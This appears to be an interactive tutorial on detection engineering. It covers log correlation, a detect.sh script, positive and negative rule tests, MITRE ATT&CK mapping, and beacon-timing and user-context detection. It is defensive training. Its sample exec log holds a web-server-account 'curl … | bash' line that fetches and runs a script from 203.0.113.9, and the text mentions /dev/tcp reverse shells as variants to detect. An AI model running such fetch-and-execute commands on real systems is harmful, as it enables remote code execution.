Detection Engineering: Write Rules That Catch the Attacker, Not the Decoy

Intermediate35 min7 steps

What you'll learn

Frame a detection as a rule with precision and recall, not just a grep that matches something
Correlate across telemetry sources so a rule confirms an intrusion instead of firing on one noisy signal
Write a detector that flags the true positive while suppressing the benign look-alike decoy
Test a rule against both an attack case and an innocent case before you trust it
Map a detection to MITRE ATT&CK so the rule states which behaviour it covers

A detection is a rule, not a hunch
Define detection engineering and the two numbers that judge every rule: precision and recall.
Triage is what you do after someone says "this box feels off." Detection engineering is the discipline that makes the box say it for you — you write a rule that watches telemetry and fires when a specific attacker behaviour appears. Triage is manual and reactive; a detection is codified and repeatable, and it runs whether or not anyone is watching.
Every rule is judged by two numbers:
- Precision — of the alerts it fires, what fraction are real? Low precision means false positives: the analyst drowns in noise and starts ignoring the tool.
- Recall — of the real attacks, what fraction does it catch? Low recall means false negatives: the attack sails past silently.
A grep that matches any login from a new IP has high recall (it catches the attacker) but terrible precision (it also fires on every VPN user and the CEO's hotel wifi). The craft of detection engineering is buying precision back without giving up the recall — writing a rule specific enough to skip the benign look-alike but general enough to still catch the real thing.
Why a noisy rule is worse than no rule
An alert nobody trusts is an alert nobody reads. A rule that cries wolf a hundred times a day trains the SOC to muffle it — and the one real hit lands in a muted channel. A precise rule that fires twice a year, both times real, is worth more than a firehose. You are engineering signal, and every false positive spends the analyst's trust.
Volume lies: the case for correlation
See why single-source, volume-based rules point at the wrong host, and how a second source fixes it.
The most common rookie detection is rank by volume: whoever hammered SSH the hardest is the attacker. It feels right and it's almost always wrong. The loudest brute-forcer is usually a botnet that never actually got in — pure noise. Meanwhile the real intruder guessed the password on the third try and is quiet in the auth log.
The fix is correlation: don't trust one source. A real intrusion touches more than one kind of telemetry — it brute-forces SSH and logs in successfully and then drives a webshell. The attacker is the entity that appears in the intersection of those sources. The decoys each appear in only one. Correlation is what turns a pile of separate signals into a confirmed story.
Runnable in the det-hunt-flagship room — that room’s setup plants the files it reads
```
$ grep 'Failed password' auth.log | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort | uniq -c | sort -rn | head
```
```
  8122 203.0.113.9
    47 198.51.100.23
     3 192.0.2.55
```
-oE '([0-9]{1,3}\.){3}[0-9]{1,3}'
Print only the matched IPv4 address from each line, not the whole log line.
uniq -c | sort -rn
Count identical adjacent lines, then sort by that count descending — the classic 'top talkers' idiom.
Rank-by-volume points a giant finger at 203.0.113.9 — 8,122 failed logins. But volume alone can't tell you whether any of them succeeded. This is the trap: the loudest source is a decoy that never got in. The count is a starting list of suspects, not a verdict.
Runnable in the det-hunt-flagship room — that room’s setup plants the files it reads
```
$ comm -12 <(grep 'Accepted password' auth.log | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort -u) <(grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' webshell.log | sort -u)
```
```
192.0.2.55
```
comm -12
Compare two sorted inputs; -1 -2 suppress the lines unique to each, leaving only lines common to both.
<(...)
Process substitution: feed each command's output to comm as if it were a file, without temp files.
This is the whole lesson in one line. The left set is IPs that logged in SUCCESSFULLY; the right set is IPs that hit the webshell. comm -12 prints only what's in BOTH — the intersection. Out comes 192.0.2.55, the quiet three-failure host, not the 8,122-failure decoy. Correlation flipped the verdict.
Ranking by volume flags the decoy
If your rule sorts by count and alerts on the top row, it will confidently name the botnet that never authenticated and stay silent about the intruder who did. Volume is an attribute, not a conclusion. Any rule whose entire logic is sort -rn | head -1 is a false-positive generator with the attacker's name filed under 'quiet.'
Write the detector: flag the attacker, suppress the look-alike
Turn the correlation idea into a script that prints the true positive and nothing else.
A detection isn't real until it's code you can run. The deliverable in the detection labs is a script — /root/detect.sh — that reads the telemetry and prints the attacker's indicator, flagging the true positive while staying silent on every decoy. Writing it forces you to make the rule precise: the script has to decide, and a vague idea can't decide.
The structure mirrors the correlation logic: build the set from each source, intersect, emit. Keep it deterministic and quiet — it should print the one answer, not a paragraph.
Runnable in the det-hunt-flagship room — that room’s setup plants the files it reads
```
$ cat detect.sh
```
```
#!/bin/bash
# Flag the intruder: the IP that BOTH logged in successfully AND hit the webshell.
# The high-volume brute-forcer (never logged in) and the web scanner (never got a shell)
# each appear in only one source, so the intersection suppresses both decoys.
#
# The log paths are overridable so the SAME rule can be re-aimed at a second, benign
# telemetry set — that is what makes the negative test in the next step possible.
set -euo pipefail

AUTH_LOG=${AUTH_LOG:-/var/log/auth.log}
WEB_LOG=${WEB_LOG:-/var/log/webshell.log}

logins=$(grep 'Accepted password' "$AUTH_LOG" | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort -u)
shells=$(grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' "$WEB_LOG" | sort -u)

comm -12 <(printf '%s\n' "$logins") <(printf '%s\n' "$shells")
```
The rule is now executable and self-documenting: the comment states what it flags and why the decoys drop out. set -euo pipefail makes it fail loudly if a log path is wrong rather than silently printing nothing. The final comm -12 emits only the intersection — the attacker's IP, alone. AUTH_LOG and WEB_LOG default to the real logs but can be pointed elsewhere, so the next step can run this exact rule against benign telemetry without editing it — a rule you cannot re-aim is a rule you cannot test.
Runnable in the det-hunt-flagship room — that room’s setup plants the files it reads
```
$ bash detect.sh
```
```
192.0.2.55
```
One line in, one indicator out. It named the correlated intruder and printed neither the 8,122-hit brute-force decoy nor the web scanner. That silence on the decoys is the precision you engineered — the rule earns trust by being right about what it doesn't say as much as what it does.
Check yourself
Two hosts look suspicious: A has thousands of failed SSH logins but no successful one; B has three failures, one success, and later webshell hits. Which does a correlation detector flag as the intruder?
Test both cases: an attack and an innocent
Validate a rule against a positive and a negative case before trusting it.
A rule you've only run against the attack is half-tested. You've shown it has recall (it caught the attacker) but not precision (does it stay quiet when nothing is wrong?). A detection that fires on a clean box is worse than useless — it's the false positive that burns trust.
So test two cases every time:
- Positive case — the attack telemetry. The rule must fire and name the right indicator.
- Negative case — benign telemetry with the look-alike but innocent activity (the loud scanner, the failed brute-force, the admin's legitimate login). The rule must stay silent.
If it fires on the negative case, you've measured a false positive directly, and you tighten the rule until it doesn't.
```
$ bash detect.sh > out.txt; if [ -s out.txt ]; then echo "FIRED: $(cat out.txt)"; else echo 'silent'; fi
```
```
FIRED: 192.0.2.55
```
Positive case: the rule fires and names the correlated intruder. [ -s out.txt ] tests that the output is non-empty — a machine-checkable 'did it alert?' That's exactly how the grader decides pass/fail, so testing it yourself this way mirrors how the lab scores you.
Runnable in the det-hunt-flagship room — that room’s setup plants the files it reads
```
$ printf 'Failed password for root from 203.0.113.9 port 2222 ssh2
' > benign-auth.log; printf 'Accepted password for luke from 10.0.0.5 port 51002 ssh2
' >> benign-auth.log; printf '198.51.100.23 - - GET /wp-admin 404
' > benign-web.log
```
The negative case needs telemetry of its own: a loud brute-forcer that never logged in (203.0.113.9), a legitimate admin login (10.0.0.5), and a web scanner that never got a shell (198.51.100.23). Every decoy from the attack case is here — what is missing is any single IP appearing in both sources. That absence is the property the rule keys on.
```
$ AUTH_LOG=benign-auth.log WEB_LOG=benign-web.log bash detect.sh > out.txt; if [ -s out.txt ]; then echo "FALSE POSITIVE: $(cat out.txt)"; else echo 'silent (correct)'; fi
```
```
silent (correct)
```
[ -s FILE ]
True if FILE exists and has size greater than zero — the standard 'is there any output?' test.
Negative case: the same rule, re-aimed at telemetry where the scanner and the brute-forcer are present but no single IP both logged in AND ran a shell. The intersection is empty and the rule prints nothing. Silence here is the pass — it proves the rule keys on the correlation, not on the mere presence of a noisy IP. Nothing about detect.sh changed between the two runs; only the telemetry did, which is what makes this a test of the rule rather than a comparison of two different rules.
The negative case is the real test
Anyone can write a rule that fires on the attack — hardcode the answer and it 'works.' The negative case is what separates a detection from a cheat: a rule that also stays quiet on the innocent look-alike is keying on behaviour, not on a memorised IP. When you build a lab detector, always ask 'what benign thing looks almost like this, and does my rule correctly ignore it?'
Map it to ATT&CK and generalise
Tie the detection to a named adversary technique and note how it survives evasion.
A finished detection says which attacker behaviour it covers, in a shared vocabulary. MITRE ATT&CK is that vocabulary — a catalogue of techniques with IDs. Tagging a rule with its technique turns a one-off script into coverage you can track: you can see which techniques you detect and which are blind spots.
The correlation rule above spans a small kill chain:
- T1110 Brute Force — the failed-login burst
- T1078 Valid Accounts — the successful login with guessed creds
- T1505.003 Web Shell — the webshell activity
Stating these does two things: it documents intent (the rule exists to catch credential-abuse-into-webshell), and it makes the rule reviewable — a peer can ask 'does it really cover T1078, or just one narrow case?'
Overfitting to one indicator
A rule that hardcodes 192.0.2.55 detects history, not behaviour — next intrusion uses a different IP and your rule is blind. Key on the relationship (same source in two stages), not on the literal value. The same trap catches rules pinned to an exact port, a fixed filename, or one user-agent string: the attacker changes the surface detail and walks past. Detect the structure of the behaviour, and evasion costs the attacker more than a find-and-replace.
So the generalisation test for any detection is: what's the cheapest change that evades it? If the answer is 'rename the file' or 'switch IPs,' the rule is overfit. If the answer is 'don't brute-force, or don't reuse the same host across stages' — i.e. the attacker has to change their behaviour — the rule is doing its job. You'll rarely make evasion impossible; you make it expensive.
Check yourself
A teammate's rule flags the webshell by matching the exact request path /uploads/x.php. In one word, what property does this rule lack that lets an attacker rename the shell and evade it?
Two more behaviours worth keying on: rhythm and context
Separate a beacon from busy traffic by timing, and a web-shell download from an admin's by who ran it.
Correlation is one way to key on behaviour. Two others come up constantly, and both beat the obvious rule the same way the intersection beat the volume ranking.
Rhythm. Malware that phones home (a C2 beacon) checks in on a timer: every 60 seconds, give or take a second. A busy CDN or update server can receive just as many connections, so a count can't tell them apart, but human-driven traffic arrives in bursts. Per destination, take the gaps between successive connections: a beacon's gaps barely vary, a person's swing from seconds to minutes. The spread between the smallest and largest gap is the signal (T1071, application-layer C2).
```
$ printf '%s\n' 'ts=0 dst=198.51.100.7' 'ts=3 dst=203.0.113.20' 'ts=60 dst=198.51.100.7' 'ts=61 dst=203.0.113.20' 'ts=62 dst=203.0.113.20' 'ts=120 dst=198.51.100.7' 'ts=181 dst=198.51.100.7' 'ts=250 dst=203.0.113.20' > conn.log
awk '{ split($1,t,"="); split($2,d,"="); ip=d[2]; n[ip]++
       if (ip in prev) { g=t[2]-prev[ip]; if (!(ip in lo) || g<lo[ip]) lo[ip]=g; if (g>hi[ip]) hi[ip]=g }
       prev[ip]=t[2] }
     END { for (ip in n) print ip, n[ip], "conns, gap spread", hi[ip]-lo[ip] "s" }' conn.log | sort
```
```
198.51.100.7 4 conns, gap spread 1s
203.0.113.20 4 conns, gap spread 187s
```
split($1,t,"=")
Break a key=value field on '=' so t[2] is the value (the timestamp here).
ip in prev
awk's membership test: true once this destination has been seen, so a gap can be computed.
Both destinations got four connections, so any volume rule treats them the same. The gaps don't: 198.51.100.7 was contacted at 0, 60, 120 and 181 seconds (gaps 60, 60, 61, a spread of 1s, clockwork), while 203.0.113.20 saw gaps of 58, 1 and 188 seconds. The awk keeps the previous timestamp per destination in prev, and the smallest and largest gap in lo and hi. A detector built on this prints destinations whose spread is under a few seconds and that have enough connections to judge, and never cares how loud the host is. Real beacons add random jitter to blur exactly this, which is why you threshold the spread rather than demand it be zero.
Context. Attackers who land on a box prefer living off the land: the tools are already installed and trusted, so curl fetches a script and bash runs it, and no unusual binary ever appears (T1059, command and scripting interpreter). An administrator does exactly the same thing to install a package. The command line can't separate them; who ran it can. The web server's account (www-data) serves pages and has no business spawning a shell, so the same command line from that user is the attack.
```
$ printf '%s\n' 'pid=4101 uid=0(root) cmdline="sh -c curl -fsSL https://pkg.example.com/install.sh | bash"' 'pid=5150 uid=33(www-data) cmdline="sh -c curl -s http://203.0.113.9/x.sh | bash"' > exec.log
grep -c 'curl.*| *bash' exec.log
grep 'uid=33(www-data)' exec.log | grep -oE 'pid=[0-9]+'
```
```
2
pid=5150
```
grep -c
Count matching lines instead of printing them: how many alerts the command-only rule would raise.
grep -oE 'pid=[0-9]+'
Print only the matched pid=N field from each line the user filter kept.
A rule keyed on the command (curl … | bash) fires twice, once on root's legitimate install and once on the attack, so half its alerts are false positives. Keyed on the user first, it names only PID 5150, the web-server account piping a download into a shell. The precision came from context, not from a smarter regex. To catch the variants too (| sh, a /dev/tcp reverse shell), widen the command half of the rule and leave the user half alone.
Check yourself
Two destinations each received 30 connections overnight. One's gaps between connections range from 59 to 61 seconds; the other's range from 2 to 340 seconds. Which one is the likely beacon?
Try it in your live terminal
Build and test a tiny correlation detector yourself on the sandbox.
You have a real shell. Make two small 'log' files — one set of IPs that logged in, one set that hit a shell — and write the intersection rule. Then break it with a decoy and confirm it stays quiet. Nothing here is destructive; you're just practising the moves until they're reflexive.
```
$ printf '10.0.0.5\n192.0.2.55\n' > logins.txt; printf '203.0.113.9\n192.0.2.55\n' > shells.txt
```
Two sources: 192.0.2.55 appears in both (the intruder), while 10.0.0.5 only logged in and 203.0.113.9 only hit the shell (two decoys). This is the minimal shape of every correlation lab.
```
$ comm -12 <(sort -u logins.txt) <(sort -u shells.txt)
```
Prints 192.0.2.55 — the one IP in both sets. The decoys drop out because each is in only one source. That's your detector's core.
```
$ printf '10.0.0.5\n' > logins.txt; comm -12 <(sort -u logins.txt) <(sort -u shells.txt) | grep . || echo 'silent (no correlation → correct)'
```
Negative case: now no IP is in both sets, so the intersection is empty and the rule prints nothing. grep . fails on empty input, so the || echo reports the correct silence — proving the rule keys on the overlap, not on any single noisy line.

Recap

A detection is a runnable rule judged by precision (few false positives) and recall (few misses); the craft is buying precision without losing recall.
Volume lies — the loudest brute-forcer usually never got in. Correlate across sources and flag the entity in the intersection, not the top of a count.
Make the rule executable: a detector script that prints the true positive and stays silent on the benign look-alike decoy.
Test two cases every time — an attack (must fire) and an innocent look-alike (must stay silent); the negative case is what proves precision.
Map the rule to MITRE ATT&CK and key on behaviour, not a literal IP/path/filename, so the cheapest evasion costs the attacker a behaviour change, not a rename.
Rhythm and context are behaviours too: a beacon shows as near-constant gaps between connections whatever its volume, and a living-off-the-land curl | bash is an attack because of who ran it (www-data), not what it ran.

Detection-engineering move → what it buys you
Move	Buys	Idiom
Rank by volume	A suspect list (not a verdict)	`... \| sort \| uniq -c \| sort -rn`
Correlate two sources	Precision — suppress single-source decoys	`comm -12 <(sort -u a) <(sort -u b)`
Codify as a script	Repeatable, reviewable detection	`/root/detect.sh` prints the indicator
Test the negative case	Proof of precision (no false positive)	`[ -s out ]` must be false on benign input
Tag MITRE + generalise	Tracked coverage, evasion resistance	T1110/T1078/T1505.003; key on behaviour
Key on rhythm or context	Beacon vs busy host; attack vs admin	Per-destination gap spread; filter on the user first

Detection Engineering: Write Rules That Catch the Attacker, Not the Decoy

A detection is a rule, not a hunch

Volume lies: the case for correlation

Write the detector: flag the attacker, suppress the look-alike

Test both cases: an attack and an innocent

Map it to ATT&CK and generalise

Two more behaviours worth keying on: rhythm and context

Try it in your live terminal